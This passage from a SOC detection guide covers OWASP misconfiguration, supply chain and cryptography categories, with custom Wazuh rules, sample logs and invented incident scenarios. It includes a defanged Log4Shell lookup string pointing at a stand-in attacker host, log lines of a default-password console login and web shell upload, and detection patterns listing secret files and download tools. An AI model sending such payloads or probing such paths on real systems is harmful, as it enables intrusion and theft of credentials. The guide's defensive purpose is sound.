Example 2: Default password on an application server admin console
- Situation: A logistics company runs a Java application server. Its management console is reachable on the internet at
/manager/html, and the default account was never changed. - Attacker objective: Deploy their own application (a web shell) to run commands.
- Attacker actions: Tries common default credentials against the console.
- Representative evidence:
198.51.100.9 - admin [05/Nov/2026:04:20:11 +0000] "GET /manager/html HTTP/1.1" 401 2473 "-" "curl/8.5.0"
198.51.100.9 - admin [05/Nov/2026:04:20:14 +0000] "GET /manager/html HTTP/1.1" 200 15420 "-" "curl/8.5.0"
198.51.100.9 - admin [05/Nov/2026:04:21:02 +0000] "POST /manager/html/upload HTTP/1.1" 200 16110 "-" "curl/8.5.0"
- Vulnerable behavior: The console accepts the default password and allows uploads.
- Attempt versus success: The
401is a failed attempt. The200on/manager/htmlwith the username field filled shows a successful login. ThePOSTto/uploadshows a deployment action, which must be confirmed with file integrity data on the server. - Impact: Full server compromise.
Example 3: Verbose error message
A request with an unexpected character returns a full stack trace showing the framework name and version. This is reconnaissance for the attacker. It is a misconfiguration when production is configured to show detailed errors. (Compare with A10 in the category comparison section: A10 is about the code not handling the abnormal condition safely.)
Security Misconfiguration Indicators and Evidence
| Indicator | Where you see it | Strength |
|---|---|---|
Many 404 responses for common sensitive files from one IP | Access logs | Suspicious, usually internet scanning |
200 response on /.env, /.git/, backup files, phpinfo.php, /actuator/env | Access logs | Strong evidence of exposure |
Successful login to an admin console with a default username such as admin | App server or access logs with user field | Strong |
| Responses with stack traces or framework versions | App logs, WAF, or manual check of the response | Strong evidence of misconfiguration, not of exploitation |
| Unexpected change to web server config files | Wazuh FIM | Strong sign of drift or tampering, needs change ticket check |
| SCA check changes from passed to failed | Wazuh SCA | Strong evidence of a weak setting |
| Cloud storage object read by unknown identities | Cloud audit logs | Strong if the bucket should be private |
XML requests with <!DOCTYPE and <!ENTITY | WAF or app logs | Suspicious (XXE attempt) |
| New process started by the app server user after an admin upload | Sysmon, auditd | Strong sign of exploitation |
How to Detect Security Misconfiguration with Wazuh
Required Log Sources
| Source | Necessary or optional | Why |
|---|---|---|
| Web server access logs | Necessary | Shows requests for sensitive paths and their status codes |
| Wazuh SCA (Security Configuration Assessment) results | Necessary for configuration visibility | Checks hosts against hardening policies such as CIS benchmarks |
| Wazuh FIM (File Integrity Monitoring) on config folders | Necessary | Detects config changes |
| Web server error logs | Recommended | Shows forbidden access, invalid requests, stack traces |
| Application server logs (admin console logins) | Recommended | Shows default account use |
| WAF or ModSecurity logs | Optional | Shows XXE and other blocked payloads |
| Cloud audit logs (for example AWS CloudTrail) through the Wazuh cloud modules | Optional, needed for cloud misconfiguration | Shows bucket policy changes and public access |
| Process telemetry (Sysmon, auditd) | Optional | Proves code execution after console abuse |
What Wazuh Can and Cannot Detect
- Directly with built in features:
- SCA runs policy checks on agents. Wazuh ships web server policies including
cis_apache_24,cis_nginx_1,cis_iis_10andweb_vulnerabilities(Wazuh documentation, “Available SCA policies”). Built in SCA rules include 19007 (level 7) for a failed check and 19011 (level 9) when a check changes from passed to failed. - FIM built in rules 550 “Integrity checksum changed” (level 7), 553 “File deleted” (level 7) and 554 “File added to the system” (level 5).
- Web rules 31516 “Suspicious URL access” (level 6) matches paths such as
.bak,.swp,/.htaccess,/server-status,/.ssh,/.history. Rule 31515 detects scans forphpMyAdmin/scripts/setup.php. Rule 31151 detects many4xxerrors from one IP. - Apache error log rules such as 30105 “Apache: Attempt to access forbidden file or directory.” and 30106 “Apache: Attempt to access forbidden directory index.”, and ModSecurity rules 30118 and 30411.
- SCA runs policy checks on agents. Wazuh ships web server policies including
- Needs custom rules:
200responses on sensitive files, admin console logins with default usernames, config changes on specific folders with higher severity. - Needs application or WAF logs: XXE payloads and stack traces in responses, because request and response bodies are not in access logs.
- Needs external integrations: cloud storage and IAM misconfiguration (Wazuh AWS, Azure or GCP modules), or a dedicated cloud security posture tool.
- Cannot be reliably detected by Wazuh alone: a misconfiguration that nobody has touched yet (for example an exposed bucket nobody has read) unless an SCA policy or cloud scan checks for it. Detection of attacker activity is not the same as finding the weak setting.
- Suspicious versus proof: A
200on/.envis strong suspicion. Proof is confirming the file exists in the web root and contains secrets.
Wazuh Rules for Security Misconfiguration
All rules below are custom rules (examples).
Rule logic:
- 100201: A sensitive file or debug endpoint returned
200. - 100202: A request for the same sensitive paths with any other status (probing).
- 100203: FIM reports a modified file under web server configuration folders.
- 100204: An SCA check in a web server policy changed from passed to failed.
<group name="custom_owasp,owasp_a02,">
<!-- Custom rule (example): sensitive file or debug endpoint served successfully -->
<rule id="100201" level="10">
<if_sid>31100</if_sid>
<url type="pcre2">(?i)(/\.git/|/\.env($|\?)|/phpinfo\.php|/actuator/(env|heapdump)|/server-status|/web\.config|/backup\.(zip|sql|tar\.gz)|/\.DS_Store)</url>
<id>^200$</id>
<description>OWASP A02: Sensitive file or debug endpoint returned 200: $(url)</description>
<mitre>
<id>T1190</id>
</mitre>
</rule>
<!-- Custom rule (example): probing for the same sensitive paths -->
<rule id="100202" level="6">
<if_sid>31100</if_sid>
<url type="pcre2">(?i)(/\.git/|/\.env($|\?)|/phpinfo\.php|/actuator/(env|heapdump)|/server-status|/web\.config|/backup\.(zip|sql|tar\.gz)|/\.DS_Store)</url>
<description>OWASP A02: Probe for sensitive file or debug endpoint: $(url)</description>
</rule>
<!-- Custom rule (example): web server configuration file modified -->
<rule id="100203" level="10">
<if_sid>550</if_sid>
<field name="file" type="pcre2">^/etc/(nginx|apache2|httpd)/</field>
<description>OWASP A02: Web server configuration file modified: $(file)</description>
<mitre>
<id>T1562</id>
</mitre>
</rule>
<!-- Custom rule (example): web server hardening check regressed -->
<rule id="100204" level="10">
<if_sid>19011</if_sid>
<field name="sca.policy" type="pcre2">(?i)(apache|nginx|iis)</field>
<description>OWASP A02: Web server hardening check changed from passed to failed: $(sca.check.title)</description>
</rule>
</group>
Notes on the rules:
- 100201 and 100202 inspect
urlandidfrom theweb-accesslogdecoder. Because Wazuh checks sibling rules from the highest level down, 100201 (level 10) is tested before 100202 (level 6), so a200produces 100201 and other codes produce 100202. - 100203 uses the FIM field
file. The Wazuh FIM documentation shows custom rules with<if_sid>550</if_sid>and<field name="file">. The value appears in alerts assyscheck.path. FIM must be monitoring these folders on the agent, for example:
<!-- Agent ossec.conf, inside <syscheck> -->
<directories realtime="yes" report_changes="yes">/etc/nginx</directories>
- 100204 uses
sca.policyandsca.check.title, which the built in SCA rules themselves use in their descriptions.
Why these levels: A served secret file (100201) or a hardening regression (100204) needs action the same day, so level 10. Probes (100202) are very common internet noise, so level 6. Config changes (100203) may be legitimate maintenance, so level 10 means “verify against a change ticket”.
How to test:
- Paste into
wazuh-logtest:
192.0.2.88 - - [05/Nov/2026:03:11:03 +0000] "GET /.env HTTP/1.1" 200 1312 "-" "Mozilla/5.0 zgrab/0.x"
Expected: rule 100201, level 10.
- Change
200to404and paste again. Expected: rule100202, level 6. - FIM and SCA rules cannot be tested by pasting plain text. Test them on a lab agent: change a comment in
/etc/nginx/nginx.confand wait for the FIM event, or deliberately break a hardening setting and wait for the next SCA scan.
Expected alert (representative, shortened):
{
"rule": { "level": 10, "id": "100201", "description": "OWASP A02: Sensitive file or debug endpoint returned 200: /.env" },
"agent": { "name": "shop-web-02" },
"decoder": { "name": "web-accesslog" },
"data": { "srcip": "192.0.2.88", "protocol": "GET", "url": "/.env", "id": "200" },
"location": "/var/log/apache2/access.log"
}
Investigating the Alert in Wazuh
- Find the alert: Threat Hunting then Events, filter
rule.id:100201. For configuration findings use the Configuration Assessment module view for the agent. For file changes use the File Integrity Monitoring module. - Fields to inspect:
data.url,data.id,data.srcip,agent.name,full_log(for bytes and user agent). For FIM:syscheck.path,syscheck.event,syscheck.diff(whenreport_changesis on),syscheck.md5_after. For SCA:data.sca.policy,data.sca.check.title,data.sca.check.result. - Source IP: Check reputation and whether the IP scanned many paths (
rule.id:31151orrule.id:100202with the same IP). - Affected endpoint:
agent.nameandlocation. - User account: Usually none for file exposure. For console logins, the user is in the access log (third field) or app server logs.
- Timestamps: When was the file first exposed (deployment time) and when was it first read?
- Correlate: Look for later use of leaked secrets, such as database logins from new IPs, or API calls with the leaked key.
- Success check: Response size compared with the real file size. Ask the system owner to confirm the file is present in the web root.
- Impact: List every secret in the file and the systems they unlock.
- Document: Path, time, IP, bytes, secrets involved, rotation status.
Useful Wazuh Dashboard Queries
| Query | What it finds | What to look for |
|---|---|---|
rule.id:100201 | Sensitive files served with 200 | Which files and which servers |
rule.id:(100202 or 31516 or 31515) | Probes for sensitive paths | Top source IPs, scanners versus targeted |
rule.id:31151 | Many 4xx errors from one IP | Scanning bursts |
rule.groups:sca and rule.id:19011 | SCA checks that regressed | Which host and setting |
rule.id:100203 or (rule.id:550 and syscheck.path:/etc/nginx*) | Web config changes | Matching change ticket, syscheck.diff content |
data.url:*manager/html* and data.id:200 | Successful access to an app server console | Source IP and username in full_log |
Detection Limitations
- No scanning, no alert: A misconfiguration with no attacker activity is invisible to log rules. SCA and external scans are needed.
- SCA coverage: SCA only checks what its policies contain. Custom application settings (for example a framework debug flag) need custom SCA policies.
- Cloud blind spot: Cloud storage permissions are not visible without cloud log integration.
- False positives: Health checks hitting
/server-status, internal monitoring tools, and legitimate config changes. - Rewritten 200 responses: Some apps return
200with a custom “not found” page. Always check the bytes. - Improve visibility: Enable SCA with web server policies, monitor config folders with FIM and
report_changes, collect error logs, and integrate cloud audit logs.
Practical SOC Investigation Scenario: Exposed .env File on a Retail Storefront
Hypothetical scenario: This case study is an invented enterprise example that illustrates the investigation method. It does not describe a real organization or breach.
Organization and affected application. An online retailer deploys a new storefront version every week. The site runs on Apache, and Wazuh agents collect access logs, FIM and SCA data from the web servers.
Initial suspicious activity. An external IP sends hundreds of requests for common sensitive file paths within two minutes.
Initial detection. At 03:11 UTC, custom rule 100201 fires: “Sensitive file or debug endpoint returned 200: /.env” on shop-web-02 from 192.0.2.88. Built in rule 31151 (multiple 400 errors from the same source IP) fires for the same IP.
Logs examined. The analyst reviews the access logs for the source IP, searches data.url:"/.env" across all agents for 30 days, and checks FIM events for the web root.
Suspicious indicators. About 240 requests from the IP use a scanner user agent and mostly return 404. Only /.env returns 200, with 1,312 bytes, which is consistent with a real configuration file.
Event correlation. Three other IPs also received 200 for /.env since the last deployment, five days earlier. A FIM event (syscheck.event:added) shows that the file appeared in the web root during that deployment. The system owner confirms that the file holds a database password and a payment provider API key.
Assessment of successful exploitation. The 404 probes are attack attempts. The 200 responses with the expected file size show the file was successfully downloaded by at least four external IPs. No application code was exploited; the server simply served a file that should never have been public. Database logs show no logins from unknown IPs so far, so use of the stolen credentials is not confirmed.
Potential business impact. Two production credentials have been exposed for five days. The payment key must be treated as compromised.
Incident response actions. The SOC escalates the case as High. It recommends removing the file immediately, rotating both secrets and watching for any use of the old key. System administrators remove the file and add a web server rule that denies access to dot files. The payment and database owners rotate the credentials.
Recommended remediation. DevOps fixes the deployment script so it excludes .env files, and moves secrets to a secrets manager. Verification confirms that /.env now returns 403 or 404 and that no new 100201 alerts appear. Root cause: A02 Security Misconfiguration.
Incident Response Process
| Step | Category specific action | Who |
|---|---|---|
| Initial triage | Confirm the path, status, bytes and server; check if it is a scanner or targeted | SOC L1 |
| Evidence collection | Save alert JSON, access logs, FIM and SCA records, deployment time | SOC L1 or L2 |
| Event correlation | Find every IP that received the resource; look for later use of exposed secrets | SOC L2 |
| Severity assessment | Probe only (Low), exposed config without secrets (Medium), exposed secrets or console takeover (High or Critical) | SOC L2 |
| Impact assessment | List secrets, data or functions exposed | SOC with system owner |
| Escalation | Incident lead, system owner, secret owners | SOC |
| Containment recommendation | Remove file, block path, disable console, rotate secrets, restrict cloud bucket | SOC recommends; admins execute |
| Coordination | DevOps fixes pipeline; admins harden configuration | Admins, DevOps |
| Remediation verification | Re run requests, re run SCA scan, confirm FIM baseline | SOC |
| Documentation and closure | Root cause, exposure window, rotated secrets, new rules | SOC and incident lead |
Prevention and Remediation
- Use a repeatable, automated hardening process so development, test and production are configured the same way (with different credentials).
- Remove sample apps, unused features, default accounts and test frameworks.
- Disable directory listing and block dot files and backup files at the web server.
- Show generic error pages in production and log details internally.
- Send security headers.
- Review cloud storage permissions and use short lived credentials instead of static keys in config files.
- Run SCA and external scans continuously and alert on regressions.
- Monitor configuration folders with FIM.
A03:2025 Software Supply Chain Failures
Official page: OWASP A03:2025 Software Supply Chain Failures
What Are Software Supply Chain Failures?
Definition: Software Supply Chain Failures are weaknesses or compromises in the code, tools and processes we depend on to build, distribute and update software, such as outdated or vulnerable libraries, unmaintained components, malicious packages, compromised vendor updates, or an insecure build pipeline.
Key terms:
- Dependency is a library or package your application uses.
- Transitive dependency is a dependency of a dependency. Many vulnerable components arrive this way.
- SBOM (Software Bill of Materials) is a list of every component and version inside your software.
- CI/CD (Continuous Integration and Continuous Delivery) is the automated pipeline that builds, tests and deploys code.
- SCA tools here means Software Composition Analysis tools that find vulnerable dependencies. Do not confuse them with Wazuh SCA, which means Security Configuration Assessment.
- CVE (Common Vulnerabilities and Exposures) is a public ID for a known vulnerability, for example
CVE-2021-44228(Log4Shell). - Typosquatting is publishing a malicious package with a name close to a popular one.
- Post install script is code a package runs automatically when installed. Malicious packages often abuse it.
What weakness it represents: OWASP describes it as breakdowns or compromises in the process of building, distributing or updating software. It grew out of the 2013 to 2021 category about using components with known vulnerabilities. Mapped CWEs include CWE-1104 (use of unmaintained third party components) and CWE-1395 (dependency on a vulnerable third party component).
Why it happens:
- Teams do not know every component and version they run, especially transitive ones.
- Patching is slow (monthly or quarterly), leaving long exposure windows.
- Packages are pulled from untrusted sources.
- CI/CD systems have weaker security than the systems they deploy.
- One person can push code all the way to production without review.
Why attackers target it: One compromised component can reach thousands of victims. Public CVEs give attackers ready made exploit targets. OWASP reports this category had the highest average incidence rate (5.19%) in its data, and 50% of community survey respondents ranked it number one.
Real cases cited by OWASP: the SolarWinds compromise (malicious vendor update), the 2025 Bybit theft through compromised wallet software, the 2025 “Shai Hulud” self spreading npm worm described in a CISA alert, Apache Struts CVE-2017-5638, and Log4Shell CVE-2021-44228.
What can happen after successful exploitation: Remote code execution through a vulnerable library, malware inside your own builds, stolen developer tokens and cloud keys, and compromise of customers who install your software.
Business assets affected: production servers, build servers, source code repositories, signing keys, developer laptops and tokens, and customer trust.
How Software Supply Chain Attacks Work
There are two main paths. Learn both.
Path 1: Exploiting a known vulnerable component
- Attacker needs: A public CVE and a way to reach the vulnerable feature, often only an HTTP request.
- Target: A framework or library inside the application, for example a logging library or a web framework.
- What the attacker sends: A request containing a payload that triggers the library bug, often in a header or parameter.
- Vulnerable application: Passes the input to the outdated library, which behaves dangerously.
- Exploitation: The library runs attacker code or leaks data.
- Success: Code execution on the server, new processes, outbound connections.
- Evidence: Exploit strings in logs, followed by unusual processes and network connections from the application user.
Path 2: Poisoning the supply chain
- Attacker needs: Control of a package, a vendor’s update server, or a developer’s token.
- Target: The build pipeline or developer machines.
- What the attacker changes: Publishes a malicious version of a package, or modifies a build step.
- Victim behavior: The build automatically pulls the new version and runs its install script.
- Exploitation: The script steals tokens or adds a backdoor to the build output.
- Success: Secrets stolen, malicious code shipped to production.
- Evidence: New dependency versions in build logs, packages from unusual registries, build agents spawning shells and making outbound connections.
Software Supply Chain Attack Examples
Example 1: Outdated logging library on an internal web app
- Situation: A manufacturing company runs an internal Java ticketing app that uses an old version of a logging library vulnerable to Log4Shell style lookups.
- Attacker objective: Run code on the server.
- Attacker actions: Sends a request where the
User-Agentheader contains a lookup string that the library would interpret. - Safe representative example (string defanged so it is not functional):
GET /tickets HTTP/1.1
Host: tickets.corp.example
User-Agent: ${jndi:ldap://attacker[.]example/a}
- Vulnerable behavior: The app logs the user agent, the old library evaluates the lookup and connects out to the attacker’s server.
- Attempt versus success: The request in a log is an attempt (internet scanners sent millions of these). Success is shown by an outbound LDAP or HTTP connection from the server to an unknown host right after the request, then new child processes of the Java process.
- Impact: Remote code execution on an internal server.
Example 2: Malicious package in the build pipeline
- Situation: A fintech startup builds its Node.js frontend in a CI pipeline on a Windows build agent.
- Attacker objective: Steal cloud and package registry tokens from the build agent.
- Attacker actions: Publishes a malicious version of a small package that the frontend uses indirectly. The version has a post install script.
- Representative build log line (JSON, written by the pipeline):
{"source":"ci","pipeline":"storefront-build","event":"dependency_resolved","package":"color-helper-utils","version":"4.2.1","registry":"https://npm-mirror.unknown.example/"}
- Vulnerable behavior: The pipeline allows any version and any registry, and runs install scripts with access to secrets.
- Attempt versus success: The package resolving is a signal. Success is shown by the build agent running
node.exethat spawnspowershell.exeorcurl.exeand connects to an external site, and by later use of the stolen tokens. - Impact: Stolen tokens, possible poisoning of other packages the company publishes.
Supply Chain Attack Indicators and Evidence
| Indicator | Where you see it | Strength |
|---|---|---|
| Known vulnerable package version installed on a server | Wazuh Vulnerability Detection | Strong evidence of a vulnerability, not of an attack |
Exploit strings for a known CVE in requests (for example ${jndi:) | Access logs, WAF logs | Suspicious attempt |
| Outbound connection from an app server to an unknown host right after such a request | Firewall, Sysmon Event 3, auditd | Strong evidence of exploitation |
| Web or app server process starting a shell | Sysmon Event 1, auditd execve | Strong |
| New dependency version or new registry in build logs | CI/CD logs | Suspicious |
Build agent running node, npm, pip that spawns curl, powershell or bash | Endpoint telemetry on build agents | Strong |
| Package registry token used from a new IP | Registry audit logs | Strong |
Unexpected change to package.json, lock files or pipeline definitions without review | Repository audit logs | Suspicious to strong |
How to Detect Supply Chain Attacks with Wazuh
Required Log Sources
| Source | Necessary or optional | Why |
|---|---|---|
| Wazuh Syscollector inventory plus Vulnerability Detection | Necessary | Finds known CVEs in installed packages |
| Web access and WAF logs | Necessary for exploitation attempts | Shows exploit strings |
| Endpoint process and network telemetry (Sysmon on Windows, auditd on Linux) on app servers and build agents | Necessary to confirm exploitation | Shows child processes and outbound connections |
| CI/CD pipeline logs (JSON preferred) | Recommended | Shows dependency changes and registries |
| Source repository audit logs (for example GitHub audit log) | Optional, needs an integration | Shows who changed pipeline files |
| Firewall or proxy logs | Recommended | Confirms outbound callbacks |
What Wazuh Can and Cannot Detect
- Directly with built in features:
- Vulnerability Detection compares the Syscollector package inventory with vulnerability data and creates alerts. Built in rules 23503 (level 5), 23504 (level 7), 23505 (level 10) and 23506 (level 13) describe “$(vulnerability.cve) affects $(vulnerability.package.name)” at increasing severity. The vulnerability state is also stored in an index (the documentation sample shows
wazuh-states-vulnerabilities-<cluster name>) and shown in the Vulnerability Detection module with Inventory and Events tabs. - Package inventory covers operating system packages and, on supported systems, npm and PyPI packages in default installation paths (Wazuh “System inventory” compatibility matrix). Libraries bundled inside an application folder, such as a JAR inside a WAR file, may not be visible.
- Built in web rules may catch some exploit strings (for example rule 31104 “Common web attack” or the Shellshock rules 31166 to 31169), but there is no general built in rule for every CVE.
- Vulnerability Detection compares the Syscollector package inventory with vulnerability data and creates alerts. Built in rules 23503 (level 5), 23504 (level 7), 23505 (level 10) and 23506 (level 13) describe “$(vulnerability.cve) affects $(vulnerability.package.name)” at increasing severity. The vulnerability state is also stored in an index (the documentation sample shows
- Needs custom rules: dependency events in CI logs, suspicious child processes on build agents, exploit strings for specific CVEs.
- Needs external integrations: repository audit logs, package registry logs, dedicated software composition analysis and SBOM tools such as OWASP Dependency Track.
- Cannot be reliably detected by Wazuh alone: a trusted vendor update that is malicious but signed (like SolarWinds) until it behaves abnormally, and vulnerable libraries that Wazuh cannot inventory.
- Suspicious versus proof: A vulnerability alert proves a vulnerable version is installed. It does not prove anyone attacked it. An exploit string proves an attempt. Process and network evidence proves exploitation.
Wazuh Rules for Supply Chain Detection
All rules below are custom rules (examples).
Rule logic:
- 100301: A high or critical vulnerability alert concerns a web stack package (web server, TLS library, runtime).
- 100302: A CI pipeline log shows a dependency resolved from a registry that is not on the approved list.
- 100303: On a Windows build agent with Sysmon,
node.exestarts a shell or download tool.
<group name="custom_owasp,owasp_a03,">
<!-- Custom rule (example): high or critical CVE in a web stack package -->
<rule id="100301" level="12">
<if_sid>23505,23506</if_sid>
<field name="vulnerability.package.name" type="pcre2">(?i)^(nginx|apache2|httpd|openssl|tomcat|php|nodejs)</field>
<description>OWASP A03: $(vulnerability.cve) affects web stack package $(vulnerability.package.name)</description>
</rule>
<!-- Custom rule (example): dependency pulled from a non approved registry -->
<rule id="100302" level="10">
<decoded_as>json</decoded_as>
<field name="source">^ci$</field>
<field name="event">^dependency_resolved$</field>
<field name="registry" type="pcre2" negate="yes">^https://(registry\.npmjs\.org|artifacts\.corp\.example)/</field>
<description>OWASP A03: Dependency $(package) $(version) resolved from non approved registry $(registry)</description>
<mitre>
<id>T1195.001</id>
</mitre>
</rule>
<!-- Custom rule (example): Node.js on a build agent spawning a shell or download tool -->
<rule id="100303" level="12">
<if_sid>61603</if_sid>
<field name="win.eventdata.parentImage" type="pcre2">(?i)\\node\.exe$</field>
<field name="win.eventdata.image" type="pcre2">(?i)\\(powershell|cmd|curl|certutil)\.exe$</field>
<description>OWASP A03: node.exe started $(win.eventdata.image), possible malicious package install script</description>
<mitre>
<id>T1195.001</id>
<id>T1059</id>
</mitre>
</rule>
</group>
Notes:
- 100301 uses parents 23505 and 23506 and the field
vulnerability.package.namethat the built in rules print in their descriptions. - 100302 needs the pipeline to write single line JSON and the agent to read it with
<log_format>json</log_format>. The built injsondecoder then exposes each key as a field. The approved registries in the pattern are the public npm registry and the organization’s internal artifact repository; each organization lists its own approved sources here. - 100303 builds on built in rule 61603 (level 0), whose description begins
Sysmon - Event 1: Process creation, and the fieldswin.eventdata.parentImageandwin.eventdata.image, which the built in Sysmon rules use. On Linux build agents, the same idea uses auditdexecverecords (fields such asaudit.exeandaudit.key). - MITRE ATT&CK
T1195.001is “Supply Chain Compromise: Compromise Software Dependencies and Development Tools” (MITRE ATT&CK T1195.001).
Why these levels: A critical CVE on an internet facing web stack (100301) and a build agent spawning shells from a package manager (100303) need fast action, so level 12. A dependency from an unknown registry (100302) may be a developer mistake, so level 10.
How to test:
- Create a test file on a lab agent, add a
localfileblock:
<localfile>
<log_format>json</log_format>
<location>/var/log/ci/pipeline.json</location>
</localfile>
- Paste the JSON line from Example 2 into
wazuh-logtest. Expected: decoderjson, rule100302, level 10. - Change the registry to
https://registry.npmjs.org/and paste again. Expected: no100302alert. - Test 100303 on a lab Windows host with Sysmon by running a harmless command from Node.js, for example
node -e "require('child_process').execSync('cmd /c echo test')", and check the alert. - Test 100301 by checking existing vulnerability alerts in the lab; it needs real inventory data.
Expected alert (representative, shortened):
{
"rule": { "level": 10, "id": "100302", "description": "OWASP A03: Dependency color-helper-utils 4.2.1 resolved from non approved registry https://npm-mirror.unknown.example/" },
"agent": { "name": "ci-runner-03" },
"decoder": { "name": "json" },
"data": { "source": "ci", "pipeline": "storefront-build", "event": "dependency_resolved", "package": "color-helper-utils", "version": "4.2.1", "registry": "https://npm-mirror.unknown.example/" },
"location": "/var/log/ci/pipeline.json"
}
Investigating the Alert in Wazuh
- Find the alert: For CVEs, open the Vulnerability Detection module (Inventory and Events). For pipeline and process alerts, use Threat Hunting, filtering
rule.id:100302orrule.id:100303. - Fields to inspect:
- Vulnerability:
data.vulnerability.cve,data.vulnerability.package.name,data.vulnerability.package.version,data.vulnerability.severity,agent.name. - Pipeline:
data.pipeline,data.package,data.version,data.registry. - Process:
data.win.eventdata.parentImage,data.win.eventdata.image,data.win.eventdata.commandLine,data.win.eventdata.user.
- Vulnerability:
- Source IP: For exploit attempts,
data.srcipin access logs. For callbacks,data.win.eventdata.destinationIpin Sysmon Event 3. - Affected endpoint:
agent.name. Check if it is internet facing. - User account: The service account running the build or application.
- Timestamps: When was the vulnerable version installed or the malicious package pulled? When did the first suspicious process start?
- Correlate: Exploit string, then outbound connection, then child process, then new files (FIM).
- Success check: Process and network evidence after the attempt.
- Impact: Which secrets were available to the process? Which builds shipped after the bad package?
- Document: CVE or package, versions, hosts, timeline, evidence of execution.
Useful Wazuh Dashboard Queries
| Query | What it finds | What to look for |
|---|---|---|
rule.id:(23505 or 23506) | High and critical vulnerability alerts | Internet facing hosts first |
rule.id:100301 | Critical CVEs in web stack packages | Patch priority |
data.vulnerability.cve:"CVE-2021-44228" | All hosts with Log4Shell | Exposure list |
rule.id:100302 | Dependencies from unknown registries | Which pipeline and package |
rule.id:100303 | Node.js spawning shells | Command line, then network events from the same host |
rule.id:61605 and agent.name:ci-runner-03 | Sysmon network connections from the build agent | Unknown external destinations |
full_log:*jndi* | Log4Shell style strings in collected logs | Then check for outbound callbacks |
Detection Limitations
- Inventory gaps: Bundled libraries inside application archives or containers may not appear in Syscollector.
- Signed malicious updates: A compromised vendor update looks legitimate until it behaves badly.
- No CI telemetry by default: Wazuh sees CI events only if you make the pipeline write logs and collect them.
- Noise: Vulnerability alerts can number in the thousands. Prioritize internet facing and exploited in the wild vulnerabilities.
- Encrypted callbacks: Outbound HTTPS from a server may look normal without destination reputation data.
- Improve visibility: Generate SBOMs, run a software composition analysis tool in CI, send CI logs as JSON to Wazuh, deploy Sysmon or auditd on build agents, and restrict build agents’ internet access to approved registries.
Practical SOC Investigation Scenario: Malicious Package on a CI Build Agent
Hypothetical scenario: This case study is an invented enterprise example that illustrates the investigation method. It does not describe a real organization or breach.
Organization and affected application. A fintech company builds its web frontend on Windows CI agents. The agents run Wazuh with Sysmon, and the pipeline writes JSON logs that Wazuh collects.
Initial suspicious activity. During a routine build, the Node.js process on a build agent starts PowerShell, which a normal frontend build never does.
Initial detection. At 14:02, custom rule 100303 fires: “node.exe started powershell.exe” on ci-runner-03. Two minutes earlier, custom rule 100302 had fired for a dependency resolved from a registry that is not on the approved list.
Logs examined. The analyst reviews the Sysmon process creation event (data.win.eventdata.commandLine), Sysmon network events (rule.id:61605) from the same host, the pipeline JSON logs, and FIM events for the runner workspace.
Suspicious indicators. PowerShell is running an encoded command. Within the same minutes, powershell.exe makes an outbound HTTPS connection to an IP that has no business relationship with the company. The pipeline log shows a new minor version of an indirect dependency pulled from a mirror the team never approved.
Event correlation. In order, the events are: the package is resolved from the unapproved registry, the post install activity starts, PowerShell launches, the outbound connection opens, and FIM reports a new script file in the package folder. DevOps confirms that the pipeline exposes a registry publish token and a cloud deployment key as environment variables.
Assessment of successful exploitation. Process and network telemetry confirm that malicious code executed on the build agent. Theft of the exposed tokens is likely but not yet confirmed. The cloud team has to check the audit logs for any use of them.
Potential business impact. The registry token and the cloud key may be exposed. Builds produced after 14:00 may contain tampered files. No production deployment happened during the window.
Incident response actions. The SOC escalates the case as Critical. It recommends isolating the runner, stopping the pipeline and revoking the tokens. DevOps revokes the tokens and rebuilds the runners from a clean image. The cloud team reviews the audit logs for use of the deployment key.
Recommended remediation. The team pins the dependency to the last known good version and allows only the approved registry. Build agents lose general internet access. Verification confirms that no new 100302 or 100303 alerts appear and that the revoked tokens are not used. The malicious code arrived through a third party package in the build process, so the root cause is A03 Software Supply Chain Failures.
Incident Response Process
| Step | Category specific action | Who |
|---|---|---|
| Initial triage | Is it a vulnerability (no attack), an attempt, or execution? Which host? | SOC L1 |
| Evidence collection | Vulnerability record, pipeline logs, Sysmon or auditd events, network logs, package name and version | SOC L1 or L2 |
| Event correlation | Request, then callback, then process, then file creation; or package pull, then process, then token use | SOC L2 |
| Severity assessment | Vulnerability only (based on exposure and exploitability), attempt (Medium), code execution or token theft (Critical) | SOC L2 |
| Impact assessment | Hosts running the component, secrets reachable, builds or releases affected | SOC with DevOps |
| Escalation | Incident lead, DevOps, application owner, vendor management if a vendor is involved | SOC |
| Containment recommendation | Isolate hosts, stop pipelines, revoke tokens, block callbacks, virtual patch at WAF | SOC recommends; owners execute |
| Coordination | Patch or pin versions, rebuild, notify downstream customers if releases were affected | DevOps, developers, vendor management |
| Remediation verification | Vulnerability Detection shows the CVE as solved (rule 23502 describes a CVE solved by an update); no new suspicious processes | SOC |
| Documentation and closure | Component, versions, exposure window, root cause, SBOM and pipeline improvements | SOC and incident lead |
Prevention and Remediation
- Maintain an SBOM and track direct and transitive dependencies.
- Continuously scan components against CVE, NVD and OSV data.
- Get components only from official sources; prefer signed packages.
- Pin versions deliberately and review upgrades.
- Remove unused dependencies.
- Harden CI/CD: least privilege, short lived tokens, separation of duties, review before production.
- Use staged rollouts so a bad vendor update does not hit everything at once.
- Patch based on risk, quickly for exploited vulnerabilities, and use virtual patching at the WAF when a patch is not possible.
A04:2025 Cryptographic Failures
Official page: OWASP A04:2025 Cryptographic Failures
What Are Cryptographic Failures?
Definition: Cryptographic Failures happen when sensitive data is not protected with strong, correctly used cryptography, for example data sent without encryption, weak or outdated algorithms, passwords stored with fast hashes like MD5, leaked or hardcoded keys, or random values that are predictable.
Key terms:
- Encryption in transit protects data moving across a network, usually with TLS. HTTPS is HTTP over TLS.
- Encryption at rest protects stored data, such as database files and backups.
- Hashing turns data into a fixed value that cannot be reversed. Passwords should be stored with slow, salted password hashing functions such as Argon2, scrypt, yescrypt or PBKDF2, as OWASP recommends.
- Salt is a random value added to each password before hashing so identical passwords produce different hashes.
- Deprecated algorithms are old ones that are no longer safe, such as MD5, SHA1, DES, or the protocols SSLv3, TLS 1.0 and TLS 1.1.
- Key management covers creating, storing, rotating and revoking keys. An HSM (Hardware Security Module) is a device that protects keys.
- CSPRNG (Cryptographically Secure Pseudo Random Number Generator) creates unpredictable values. A normal random function is not good enough for tokens.
- HSTS (HTTP Strict Transport Security) is a response header that tells browsers to always use HTTPS for the site.
What weakness it represents: OWASP describes failures related to lack of cryptography, weak cryptography, leaked keys and related errors. Notable CWEs include CWE-327 (broken or risky algorithm), CWE-331 (insufficient entropy) and CWE-338 (weak pseudo random number generator).
Why it happens:
- Developers write their own crypto or use insecure defaults.
- Legacy systems keep old protocols for compatibility.
- Keys are stored in source code or config files.
- Teams do not classify which data is sensitive.
- Normal random functions are used for security tokens.
